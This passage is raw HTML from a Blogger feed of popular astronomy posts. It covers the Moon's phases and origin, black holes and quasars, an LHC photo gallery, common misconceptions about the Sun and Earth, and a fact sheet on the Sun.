style="font-family:Arial,Helvetica;">Apollo 14</span></a><span style="font-family:Arial,Helvetica;"> astronaut Stuart Roosa took a bunch of seeds with him and, while Alan Shepard and Edgar Mitchell were busy sauntering around on the surface, Roosa guarded his seeds. </span></span></span></p> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">Later, the seeds were germinated on Earth, planted at various sites around the country, and came to be called the Moon trees. Most of them are doing just fine.</span></span></span></p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;"><b><span style="color: rgb(102, 0, 204);">Locked in orbit</span></b></span></span></span> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">Perhaps the coolest thing about the Moon is that it always shows us the same face. Since both the Earth and Moon are rotating <i>and</i> orbiting, how can this be? </span></span></span></p> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">Long ago, the Earth's gravitational effects slowed the Moon's rotation about its axis. Once the Moon's rotation slowed enough to match its orbital period (the time it takes the Moon to go around Earth) the effect stabilized. Many of the moons around other planets behave similarly. </span></span></span></p> <span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;"> </span> </span></span><p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">What about phases? Here's how they work: As the Moon orbits Earth, it spends part of its time between us and the Sun, and the lighted half faces away from us. This is called a new Moon. (So there's no such thing as a "dark side of the Moon," just a side that we never see.)</span></span></span></p> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">As the Moon swings around on its orbit, a thin sliver of reflected sunlight is seen on Earth as a crescent Moon. Once the Moon is opposite the Sun, it becomes fully lit from our view -- a full Moon.</span></span></span></p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><b><span style="color: rgb(102, 0, 204);font-family:Arial,Helvetica;" >Making of the Moon</span></b></span></span> <p><span style=";font-family:arial;font-size:100%;" ><span style="font-family:arial;"><span style="font-family:Arial,Helvetica;">The Moon was created when a rock the size of Mars slammed into Earth, shortly after the solar system began forming about 4.5 billion years ago, according to the </span><a href="http://www.space.com/scienceastronomy/solarsystem/moon_making_010815-1.html"><span style="font-family:Arial,Helvetica;">leading theory</span></a></span></span></p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-8997080985707613863?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-68637922043303620682008-10-17T17:59:00.000-07:002008-11-04T19:38:12.387-08:00<div class="picture"> <a href="http://antwrp.gsfc.nasa.gov/apod/ap001220.html"><img src="http://curious.astro.cornell.edu/images/SgrA.gif" alt="Sagittarius A*, the black hole at the center of the Milky Way" border="0" height="220" width="250" /></a><br /><div class="credit">Credit: A. Eckart (<a href="http://www.ph1.uni-koeln.de/">U. Koeln</a>), R. Genzel (<a href="http://www.mpe-garching.mpg.de/">MPE-Garching</a>), <a href="http://www.mpe-garching.mpg.de/www_ir/GC/sharpi.html">SHARP I</a>, <a href="http://www.ls.eso.org/lasilla/Telescopes/NEWNTT/">NTT</a>, <a href="http://www.ls.eso.org/">La Silla Observatory</a>, <a href="http://www.eso.org/">ESO</a> (via <a href="http://antwrp.gsfc.nasa.gov/apod/astropix.html">Astronomy Picture of the Day</a>)</div> <div class="caption"><em>Massive black hole in the Milky Way.</em> This animation shows the motion of stars over a period of eight years, as they orbit the supermassive black hole at the center of our galaxy. The black hole, which contains a few million times the mass of the Sun, is invisible in this infrared image, though its gravitational effect is apparent! Its location, marked above by the yellow cross, coincides with a mysterious and highly variable source of radio waves and x-rays known to astronomers as Sagittarius A*.</div> <a href="http://chandra.harvard.edu/photo/2001/0157blue/index.html"><img src="http://curious.astro.cornell.edu/images/CenA.jpg" alt="Centaurus A, home to the closest active black hole" border="0" height="178" width="250" /></a><br /><div class="credit">Credit: <a href="http://www.nasa.gov/">NASA</a>, <a href="http://cfa-www.harvard.edu/sao-home.html">SAO</a>, R.Kraft et al. (via the <a href="http://chandra.harvard.edu/pub.html">Chandra X-Ray Observatory Center</a>)</div> <div class="lastcaption"><em>Centaurus A</em> is the nearest example of an active galactic nucleus (AGN), located only 10 million light years from us. The black hole at the center of this galaxy is <a href="http://arxiv.org/abs/astro-ph/0507094">thought to be</a> around 60 million times the mass of our Sun; material around it gets shot off in the form of huge jets which travel at nearly the speed of light and are easily visible in this <a href="http://chandra.harvard.edu/">Chandra</a> x-ray image. Many of the small dots surrounding the central AGN are thought to be microquasars, smaller black holes which shoot off jets of their own as they rip material from companion stars.</div> </div> <h1>Black Holes and Quasars</h1> <div class="subhead"><br /></div> <p>Black holes sound like they're straight out of a science fiction story: objects so dense that nothing in the universe can escape from their gravitational pull. But over the past few decades astronomers have been steadily building up evidence that black holes are not only real, but, in fact, quite prevalent in the universe.</p> <p>It is now thought that almost all galaxies contain gigantic black holes in their centers, millions or even billions of times more massive than the Sun. Some of these beasts are among the most violent and energetic objects in the universe - active galactic nuclei and quasars, which shoot off jets even as they suck in surrounding gas - while others, often older ones like the black hole at the center of the <a href="http://curious.astro.cornell.edu/milkyway.php">Milky Way</a>, are considerably more quiet feeders.</p> <p>Galaxies are also thought to contain many examples of small black holes, with masses only a few times greater than that of the Sun. Astronomers have detected a handful of these in our galaxy, by observing the light emitted when they shred apart their companion star in a binary system. Several of these small black holes have been dubbed "microquasars" because they produce miniature jets akin to those of their larger cousins.</p> <h2>Theory of Black Holes</h2> <p>Though the concept of a black hole was first proposed in 1783, it was Albert Einstein's 1915 <a href="http://curious.astro.cornell.edu/relativity.php">theory of general relativity</a> which put the idea on a firm theoretical footing. Einstein showed that gravity can bend the path of light just as it bends the path of any other moving object - the only reason we don't observe this effect in our daily lives is that light moves fast and gravity pulls weak. When this was confirmed by observations, the idea of a black hole became obvious. If you pack enough material together, its gravitational pull should be strong enough to not only bend light's path but also keep it from escaping, just as the Earth is strong enough to pull back much slower objects (like baseballs) to its surface.</p> <h2>Formation of Black Holes</h2> <p>Regular black holes are thought to form from heavy stars (perhaps those which start off with masses more than 20 or 25 times that of the Sun, but this is still an area of active research). When these stars end their lives in a <a href="http://curious.astro.cornell.edu/supernovae.php">supernova explosion</a>, their cores collapse and gravity wins out over any other force that might be able to hold the star up.</p> <p><a name="eventhorizon">Eventually</a>, the star collapses so much that it is contained within its <i>Schwarzschild radius</i>, or <i>event horizon</i>, the boundary within which light cannot escape. At this point, the black hole is extremely tiny; a black hole with the mass of the Sun would fit in a small town, while one with the mass of the Earth would fit in the palm of your hand! The material inside the Schwarzschild radius will continue to collapse indefinitely, reaching the point where our understanding of the laws of physics breaks down. But no information from inside the Schwarzschild radius can escape to the outside world.</p> <p>Supermassive black holes, meanwhile, form differently - perhaps from the merger of many smaller black holes early in the universe's history - and grow over the years as they suck in gas from their surroundings. The formation of these objects and their relationship to the galaxy that harbors them is still an area of active research.</p> <h2>Observing Black Holes</h2> <h3>A lot of light</h3> <p>We can't observe black holes directly, but we do see their effect on surrounding material - gas and dust which lets out its last gasp before being sucked into the black hole or flung away in a jet.</p> <p>Black holes, in fact, are extremely efficient at converting the energy of incoming material into emitted light. The gas which falls into a black hole doesn't plunge in directly, for the same reason the Earth doesn't plunge into the Sun. Instead, it tries to move around the black hole in an orbit, forming what is known as an <i>accretion disk</i>.</p> <p>Material in the accretion disk slowly spirals inward as it loses energy due to friction - the huge gravitational tides near the black hole are excellent at ripping apart this material and heating it to high temperatures. The inner disks of supermassive black holes reach thousands of degrees Kelvin (similar to the temperatures at the surface of a hot star), while smaller black holes can heat their disks to <i>millions</i> of degrees, where they emit in the x-ray part of the spectrum.</p> <p>Black holes, therefore, are some of the brightest objects around. Quasars can be detected out near the edge of the visible universe, where they shine with the light of trillions of Sun, while microquasars in our own galaxy can easily be hundreds of thousands of times brighter than the Sun, even though they are typically only ten times as massive.</p> <h3>Fast variations</h3> <p>Since black holes are small, their brightness can vary quickly. The complicated processes going on in the inner parts of the accretion disk are often highly variable, which leads to rapid changes in the amount of light being emitted. The smallest, most active black holes - the microquasars - can double their brightness in only a few seconds and show evidence for variability on much faster timescales, oscillating at hundreds of times per second in some cases.</p> <h3>Energetic jets</h3> <p>Black holes suck material toward them, but some of it gets spit out rather than swallowed. Many black holes eject jets that move away from the accretion disk at nearly the speed of light. These jets have been observed most spectacularly from the centers of nearby galaxies (for example, <a href="http://antwrp.gsfc.nasa.gov/apod/ap011101.html">M87</a>) but also appear in microquasars - in quick, enormously energetic spurts and sputters, as if someone had taken a video of a quasar jet and pressed the fast-forward button.</p> <p>The processes by which these jets are formed are not well understood, but seem to require magnetic fields - whose presence causes instabilities in the accretion disk that allow material to fling upwards - as well as rapidly rotating black holes, which can feed some of their energy to the magnetic field and to the jet material itself.</p><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-6863792204330362068?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-62007491740366645722008-10-17T17:29:00.000-07:002008-11-04T19:38:55.645-08:00<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_GRnY-ukJ6qQ/SPkuyzmGfGI/AAAAAAAAAHo/LFrX1HsoUjE/s1600-h/lhc25.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_GRnY-ukJ6qQ/SPkuyzmGfGI/AAAAAAAAAHo/LFrX1HsoUjE/s320/lhc25.jpg" alt="" id="BLOGGER_PHOTO_ID_5258285490310118498" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_GRnY-ukJ6qQ/SPkusuGHIkI/AAAAAAAAAHg/H8Qth_MFths/s1600-h/lhc26.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_GRnY-ukJ6qQ/SPkusuGHIkI/AAAAAAAAAHg/H8Qth_MFths/s320/lhc26.jpg" alt="" id="BLOGGER_PHOTO_ID_5258285385754550850" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_GRnY-ukJ6qQ/SPkumYRfgOI/AAAAAAAAAHY/BqMrURrUhwM/s1600-h/lhc21.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_GRnY-ukJ6qQ/SPkumYRfgOI/AAAAAAAAAHY/BqMrURrUhwM/s320/lhc21.jpg" alt="" id="BLOGGER_PHOTO_ID_5258285276817490146" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_GRnY-ukJ6qQ/SPkudcUxmbI/AAAAAAAAAHQ/IDIhqC0MSuo/s1600-h/lhc15.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_GRnY-ukJ6qQ/SPkudcUxmbI/AAAAAAAAAHQ/IDIhqC0MSuo/s320/lhc15.jpg" alt="" id="BLOGGER_PHOTO_ID_5258285123286178226" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_GRnY-ukJ6qQ/SPkuVxiB-eI/AAAAAAAAAHI/iWYkxTuzzIE/s1600-h/lhc14.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_GRnY-ukJ6qQ/SPkuVxiB-eI/AAAAAAAAAHI/iWYkxTuzzIE/s320/lhc14.jpg" alt="" id="BLOGGER_PHOTO_ID_5258284991539968482" border="0" /></a><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_GRnY-ukJ6qQ/SPkuQacGXbI/AAAAAAAAAHA/icVGQmOjRFw/s1600-h/lhc12.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_GRnY-ukJ6qQ/SPkuQacGXbI/AAAAAAAAAHA/icVGQmOjRFw/s320/lhc12.jpg" alt="" id="BLOGGER_PHOTO_ID_5258284899441728946" border="0" /></a><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-6200749174036664572?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-23173674697140079282008-10-17T17:02:00.000-07:002008-11-04T19:42:53.794-08:00<span style="color: rgb(255, 255, 255);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:180%;">Ten Things You Thought You Knew About Sun-Earth Science </span> </span> <p style="color: rgb(255, 255, 255);"> <span style="color: rgb(0, 0, 0);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"> <span style="color: rgb(255, 204, 0);"><span style="color: rgb(51, 51, 51);">A list of common and uncommon, famous and infamous misconceptions about solar-terrestrial physics</span> </span></span></span></p><p style="color: rgb(255, 255, 255);"> </p><ul style="color: rgb(255, 255, 255);"><span style="color: rgb(0, 0, 0);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li style="color: rgb(255, 255, 255);"> <b>Earth is closest to the Sun is the summertime...or, it is warmer in summer because Earth is closer to the Sun...</b><br /><span style="color: rgb(51, 51, 51);"> False. This is by far the most common misconception about the relationship between Sun and Earth, one that is unfortunately perpetuated by lousy diagrams in most school textbooks. When someone says we are closer to the Sun in the summertime, do you ever remind them that while it may be summer in the northern hemisphere, it is wintertime in the southern hemisphere...and six months from now, the seasons and Earth's position will be reversed? In fact, in summer in the northern hemisphere, Earth is actually at its farthest point away from the Sun. So how can that be? </span><p> <span style="color: rgb(255, 255, 255);">Despite what you learned in school about Earth's "elliptical" orbit around the Sun, that elliptical orbit is pretty close to being circular (not the extended oval you see in most books). The change of seasons is mainly the result of the tilt of Earth's invisible spin axis, which is inclined 23.5 degrees in comparison to the axis of the Sun. Sometimes Earth's axis is tilted toward the Sun and sometimes away from it -- and somewhere in between for the rest of the year. It is this tilt -- combined with the motion of the Earth around the Sun -- that causes more or less light to fall on one hemisphere or the other during each of the seasons. This means that the amount of sunlight falling directly on a parcel of Earth changes throughout the year. It also means that days get longer or shorter, causing the Sun to warm part of the Earth for longer and shorter periods of each day. To learn more, visit</span><br /> <a style="color: rgb(255, 255, 255);" href="http://www.badastronomy.com/bad/misc/seasons.html" target="_blank"> http://www.badastronomy.com/bad/misc/seasons.html </a> <br /><span style="color: rgb(255, 255, 255);"> or </span><a style="color: rgb(255, 255, 255);" href="http://www-istp.gsfc.nasa.gov/stargaze/Sseason.htm" target="_blank"> http://www-istp.gsfc.nasa.gov/stargaze/Sseason.htm </a> <br /><span style="color: rgb(255, 255, 255);"> or </span><a href="http://aa.usno.navy.mil/faq/docs/seasons_orbit.html" target="_blank"><span style="color: rgb(255, 255, 255);"> http://aa.usno.navy.mil/faq/docs/seasons_orbit.html</span> </a> </p><p> </p></li><li> <b style="color: rgb(255, 255, 255);">The Sun does not rotate...</b><br /><span style="color: rgb(255, 255, 255);">False. Like almost everything else in our clockwork universe, the Sun rotates around an invisible axis. The rotation of the Sun was actually one of Galileo's greatest discoveries. By observing sunspots moving across the face of the Sun, Galileo figured out that it wasn't just the spots that were moving, but the whole star. It takes an average of 27 days for the Sun to make a full rotation, though the rate is actually about 25 days at the equator and as many as 32 days near the Sun's poles. This "differential" rotation -- where the equator spins faster than the poles -- is perhaps the leading cause of the magnetic mayhem on the Sun that leads to sunspots, flares, and coronal mass ejections.</span> </li> </span></span><p> </p><span style="color: rgb(51, 51, 51);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li><b style="color: rgb(255, 255, 255);"> <span style="color: rgb(255, 204, 0);"><span style="color: rgb(51, 51, 51);">The Sun has a solid surface...</span></span></b><br /><span style="color: rgb(255, 204, 0);"><span style="color: rgb(51, 51, 51);"><span style="color: rgb(255, 255, 255);">False. The song by Smash Mouth says, "You might as well be walking on the Sun." Fat chance. The Sun is made entirely of gas, so there isn't a fixed, solid surface. The part that looks like the surface -- the photosphere -- is simply the region of gas on the edge of the Sun that emits light in wavelengths that we can see. (Did we mention that you would be vaporized before you got close enough to walk on the Sun?)</span> </span> </span></li> </span></span><p> </p><span style="color: rgb(51, 51, 51);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li><b>Space is empty, a complete vacuum...</b><br />False. Space is filled everywhere by plasma, the fourth state of matter (solid, liquid, gas, and plasma). Plasma is a gas in which electrons have been separated from their atoms (ions), making it electrically charged. Plasma is extremely rare on Earth; you can only find it in candle flames, lightning, and fluorescent lights. But in fact, 99% of the universe is made up of plasma. Of course, space is so vast that all this plasma gets spread out to a point where it seems like a vacuum by our earthly standards. </li> </span></span><p> </p><span style="color: rgb(0, 0, 0);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li><b> The solar wind and coronal mass ejections (CMEs) can exert enough pressure to push a satellite out of its orbit... </b><br /><span style="color: rgb(255, 204, 0);"><span style="color: rgb(51, 51, 51);">False. Despite the electromagnetic havoc they play with satellite electronics and with Earth's magnetic field, the solar wind and CMEs barely exert a pressure or force that you could measure. In fact, they couldn't ruffle the hair on your head. The solar wind has fewer particles per cubic centimeter than the best vacuums scientists have ever created on Earth. Our own air is billions of times denser than the solar wind, such that a cubic centimeter of air has as many particles as a cube of solar wind measuring 10 kilometers on each side</span>. </span><p> Satellites do sometimes fall out of orbit due to space weather events. But it is Earth's own atmosphere that drags them down, not pressure from the solar wind or a CME. When a space weather event stirs up the space around Earth, the upper atmosphere of Earth becomes hotter and denser, leading to more friction on the surface of the satellite. This friction can slow a satellite down just enough that it slowly - over months to years - can drop out of orbit. </p><p> </p></li><li> <b>Auroras are caused by solar wind particles hitting Earth's atmosphere...</b><br />Not really. Auroras are caused by particles (mostly electrons) being guided by Earth's magnetic field into the atmosphere, where they bounce off and collide with air molecules. These collisions excite - give energy to - the air molecules. To release that excess energy, the air molecules (mostly oxygen and nitrogen) emit the light that we call the aurora. But the electrons that cause auroras do not come directly from the Sun. At the beginning of the Space Age, scientists discovered that the space around Earth is filled with plasmas - hydrogen electrons and protons - trapped by our planet's magnetic field. These particles are collected over long periods of time from the solar wind, or they have leaked out of our own atmosphere. When a solar storm erupts, the impact of the event can distort and energize Earth's magnetic field. Some of this energy energizes the particles already trapped around Earth, causing them to slide down those field lines into Earth's upper atmosphere, to smash into the gas of the atmosphere, and to release photons of light. </li> </span></span><p> </p><span style="color: rgb(51, 51, 51);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li> <b>You can only see auroras (Northern and Southern Lights) at the poles.</b><br />False. Actually, auroras are quite rare at the geographic (or geomagnetic) poles. As mentioned above, auroras occur when particles that are trapped inside Earth's dipolar magnetic field slide down those field lines into the atmosphere. Auroras occur (geographically) where these field lines connect down to Earth, principally between 60 and 70 degrees of magnetic latitude (There are complicated, unusual circumstances that can cause auroras at the actual poles, but those are not the common forms of auroras that we see). The auroral zones of Earth take the form of rings around the magnetic poles, most often cutting a path across Canada, Alaska, Greenland, Scandinavia, and Russia (in the southern hemisphere, the oval hangs principally over the ocean circling Antarctica). In fact, if you made an expedition to the north coast of Alaska, you would likely have to turn to the South to see the aurora. Learn more by visiting <a href="http://www-spof.gsfc.nasa.gov/Education/waurora1.html" target="_blank"> http://www-spof.gsfc.nasa.gov/Education/waurora1.html </a> </li> </span></span><p> </p><span style="color: rgb(51, 51, 51);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li> <b>Solar maximum is a single episode of high activity...or, the solar maximum is a brief event that happens on a particular day...</b><br />False. Solar maximum describes the period - usually one to one-and-a-half years - when the Sun is most active. Solar maximum is the peak or hump on a mathematical curve of the number of sunspots seen from Earth each day. This number can rise or fall from day to day, month to month, but eventually the plot shows a period when the average number of sunspots is higher than at any other time in the 11-year cycle. In other words, the day with the most sunspots does not have to be the peak of solar maximum, nor is it necessarily the month with the highest number. (It is similar to charting high tide along the seashore. "High tide" is not necessarily the moment of the absolutely highest wave, but the time when the average of wave heights is higher than at any other time in a day.) The time of solar maximum can be guessed, based on past history of the sunspot plot. But it can only be determined with certainty many months after it is over, when scientists see when the number of sunspots stopped increasing and started steadily decreasing. </li> </span></span><p> </p><span style="color: rgb(255, 255, 255);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li> <b style="color: rgb(255, 255, 255);"> <span style="color: rgb(255, 204, 0);">The best time of year to see an aurora is the winter...</span></b><br /><span style="color: rgb(255, 204, 0);"><span style="color: rgb(255, 255, 255);">Yes and no. Because it is dark for much longer periods of each winter's day, you have a longer night in which to see an aurora. And when skies are clear, they are a little less murky (with less haze, water vapor, etc.) in the wintertime. However, it is also more likely for skies to be cloud-covered in winter. Weather and darkness aside, there is no physical reason why auroras should be more common in winter than summer. Low levels of auroral activity occur every day of the year in the northernmost (or southernmost) regions of Earth. For reasons that space physicists cannot fully explain, the best auroral shows occur most often around the times of the vernal (spring) and autumnal (fall) equinoxes. Great auroras -- the once-in-ten years sort that come down to Texas or the Caribbean -- can occur anytime the Sun decides to produce a great space weather event.</span> </span></li> </span></span><p style="color: rgb(255, 255, 255);"> </p><span style="color: rgb(255, 204, 0);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li> <b style="color: rgb(255, 255, 255);"> Sunspots are dark and cool... </b><br /><span style="color: rgb(51, 51, 51);">True and false. Again, this is a matter of relativity (not Einstein's kind, the comparative kind). When compared to the 5500-degrees Celsius in the photosphere (the visible surface of the Sun), sunspots are cooler - a mere 3500 degrees Celsius. But that is still hot enough to melt most solids from Earth. And as for being "dark" - sunspots are actually about as bright as a full Moon, but when compared to the brilliance of the rest of the Sun, they pale (or should we say darken?) in comparison. </span><p> </p></li></span></span></ul> <span style="color: rgb(255, 255, 255);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><span style="color: rgb(0, 0, 0);"><h3><span style="color: rgb(255, 204, 0);"> O<span style="color: rgb(51, 51, 51);">ther gee-whiz facts to impress your friends.</span></span><span style="color: rgb(51, 51, 51);">.. </span></h3></span> </span></span><p style="color: rgb(255, 255, 255);"> </p><ul style="color: rgb(255, 255, 255);"><span style="color: rgb(255, 204, 0);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li> <b> <span style="color: rgb(51, 51, 51);">The Sun is an average star... </span></b><br /><span style="color: rgb(51, 51, 51);">This depends on how you define "average." On the absolute scale of the size of active stars from largest to smallest, our Sun is about medium mass and girth. But when you consider that most of the universe is made up of dying, shrinking dwarves, our Sun is actually larger, hotter, more massive, and brighter than the vast majority of all stars. </span></li> </span></span><p> </p><span style="color: rgb(51, 51, 51);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"><li> <b> Comet tails always trail away from the Sun... </b><br />True. Whether a comet is inbound or outbound from the Sun, its tails will always point away from the Sun. That's because the comet's tails - they have both a dust tail and an ion tail - are formed when the pressure and heat of sunlight vaporize pieces of these icy snowballs, and the electromagnetic properties of solar wind strip ions from the chemical elements inside the comet. </li> </span></span><p><span style="color: rgb(0, 0, 0);font-family:Arial,Helvetica,sans serif;" ><span style="font-size:130%;"> <li> <b> <span style="color: rgb(51, 51, 51);">Solar sails are pushed by (or harness the power of) the solar wind... </span></b><br /><span style="color: rgb(51, 51, 51);"> False. Described by Arthur C. Clarke and other science fiction writers, solar sails are actually a viable concept for propelling spacecraft across the void of space. The science behind solar sailing is that photons of sunlight exert a faint but detectable force that can be collected and used to push a large sail. It would take a long time to get the spacecraft going, but once you start moving, the acceleration could be almost endless.</span> </li> </span></span></p></ul><div class="blogger-post-footer"><img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6229729557913482776-2317367469714007928?l=sunsofts.blogspot.com' alt='' /></div>sivahttp://www.blogger.com/profile/14913623865795521845noreply@blogger.com0tag:blogger.com,1999:blog-6229729557913482776.post-90143653289781447012008-10-17T16:51:00.000-07:002008-11-04T19:49:50.677-08:00The Sun is the most prominent feature in our solar system. It is the largest object and contains approximately 98% of the total solar system mass. One hundred and nine Earths would be required to fit across the Sun's disk, and its interior could hold over 1.3 million Earths. The Sun's outer visible layer is called the photosphere and has a temperature of 6,000°C (11,000°F). This layer has a mottled appearance due to the turbulent eruptions of energy at the surface. <p> Solar energy is created deep within the core of the Sun. It is here that the temperature (15,000,000° C; 27,000,000° F) and pressure (340 billion times Earth's air pressure at sea level) is so intense that nuclear reactions take place. This reaction causes four protons or hydrogen nuclei to fuse together to form one alpha particle or helium nucleus. The alpha particle is about .7 percent less massive than the four protons. The difference in mass is expelled as energy and is carried to the surface of the Sun, through a process known as <a href="http://www.solarviews.com/eng/terms.htm#convection">convection</a>, where it is released as light and heat. Energy generated in the Sun's core takes a million years to reach its surface. Every second 700 million tons of hydrogen are converted into helium <i>ashes</i>. In the process 5 million tons of pure energy is released; therefore, as time goes on the Sun is becoming lighter. </p><p> <a href="http://www.solarviews.com/cap/vss/VSS00031.htm"> <img src="http://www.solarviews.com/images/VSS00031.jpg" alt="Sun Diagram" style="margin-left: 6pt; float: right;" border="1" height="300" width="300" /></a> </p><p> The chromosphere is above the photosphere. Solar energy passes through this region on its way out from the center of the Sun. Faculae and flares arise in the chromosphere. Faculae are bright luminous hydrogen clouds which form above regions where sunspots are about to form. Flares are bright filaments of hot gas emerging from sunspot regions. Sunspots are dark depressions on the photosphere with a typical temperature of 4,000°C (7,000°F). </p><p>The corona is the outer part of the Sun's atmosphere. It is in this region that <i>prominences</i> appears. Prominences are immense clouds of glowing gas that erupt from the upper chromosphere. The outer region of the corona stretches far into space and consists of particles traveling slowly away from the Sun. The corona can only be seen during total solar eclipses. </p><p> The Sun appears to have been active for 4.6 billion years and has enough fuel to go on for another five billion years or so. At the end of its life, the Sun will start to fuse helium into heavier elements and begin to swell up, ultimately growing so large that it will swallow the Earth. After a billion years as a <a href="http://www.solarviews.com/eng/terms.htm#redgiant">red giant</a>, it will suddenly collapse into a <a href="http://www.solarviews.com/eng/terms.htm#whitedwarf">white dwarf</a> -- the final end product of a star like ours. It may take a trillion years to cool off completely. <a name="stats"> </a> </p><center> <table class="stat" border="0" cellpadding="2" cellspacing="0"> <tbody><tr class="stath1"><th colspan="2">Sun Statistics</th></tr> <tr class="statr1"><th align="left">Mass (kg)</th><td align="right">1.989e+30</td></tr> <tr class="statr2"><th align="left">Mass (Earth = 1)</th><td align="right">332,830</td></tr> <tr class="statr1"><th align="left">Equatorial radius (km)</th><td align="right">695,000</td></tr> <tr class="statr2"><th align="left">Equatorial radius (Earth = 1)</th><td align="right">108.97</td></tr> <tr class="statr1"><th align="left">Mean density (gm/cm^3)</th><td align="right">1.410</td></tr> <tr class="statr2"><th align="left">Rotational period (days)</th><td align="right">25-36*</td></tr> <tr class="statr1"><th align="left">Escape velocity (km/sec)</th><td align="right">618.02</td></tr> <tr class="statr2"><th align="left">Luminosity (ergs/sec)</th><td align="right">3.827e33</td></tr> <tr class="statr1"><th align="left">Magnitude (Vo)</th><td align="right">-26.8</td></tr> <tr class="statr2"><th align="left">Mean surface temperature</th><td align="right">6,000°C</td></tr> <tr class="statr1"><th align="left">Age (billion years)</th><td align="right">4.5</td></tr> <tr class="statr2"><th align="left">Principal chemistry <div class="indent">Hydrogen<br />Helium<br />Oxygen<br />Carbon<br />Nitrogen<br />Neon<br />Iron<br />Silicon<br />Magnesium<br />Sulfur<br />All others </div> </th> <td align="right"><br />92.1%<br />7.8%<br />0.061%<br />0.030%<br />0.0084%<br />0.0076%<br />0.0037%<br />0.0031%<br />0.0024%<br />0.0015%<br />0.0015%</td></tr> </tbody></table></center><p> * The Sun's period of rotation at the surface varies from approximately 25 days at the equator to 36 days at the poles. Deep down, below the convective zone, everything appears to rotate with a period of 27 days.<br /></p><p>VIEWS OF SUN</p><a href="http://www.solarviews.com/cap/sun/sun.htm" class="ct">Sun Prominence</a><br />This image was acquired from NASA's Skylab space station on December 19, 1973. It shows one of the most spectacular solar flares ever recorded, propelled by magnetic forces, lifting off from the Sun. It spans more than 588,000 km (365,000 miles) of the solar surface. In this photograph, the solar poles are distinguished by a relative absence of supergranulation network, and a much darker tone than the central portions of the disk. <i>(Courtesy NASA)</i><br /><br /><a href="http://www.solarviews.com/cap/sun/las013.htm"> <img src="http://www.solarviews.com/thumb/sun/las013.jpg" alt="Polar Plume" align="left" border="1" height="170" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/sun/las013.htm" class="ct">Comet SOHO-6 and Solar Polar Plumes</a><br />This image of the solar corona was acquired on 23 December 1996 by the LASCO instrument on the SOHO spacecraft. It shows the inner streamer belt along the Sun's equator, where the low latitude solar wind originates and is accelerated. Over the polar regions, one sees the polar plumes all the way out to the edge of the field of view. The field of view of this coronagraph encompasses 8.4 million kilometers (5.25 million miles) of the inner heliosphere. The frame was selected to show Comet SOHO-6, one of seven sungrazers discovered so far by LASCO, as its head enters the equatorial solar wind region. It eventually plunged into the Sun. <i>(Courtesy ESA/NASA)</i><br /><br /><a href="http://www.solarviews.com/cap/vss/VSS00023.htm"> <img src="http://www.solarviews.com/thumb/vss/VSS00023.jpg" alt="Eclipse from STEREO Spacecraft" align="left" border="1" height="158" hspace="4" width="170" /></a> <a href="http://www.solarviews.com/cap/vss/VSS00023.htm" class="ct">Eclipse From STEREO 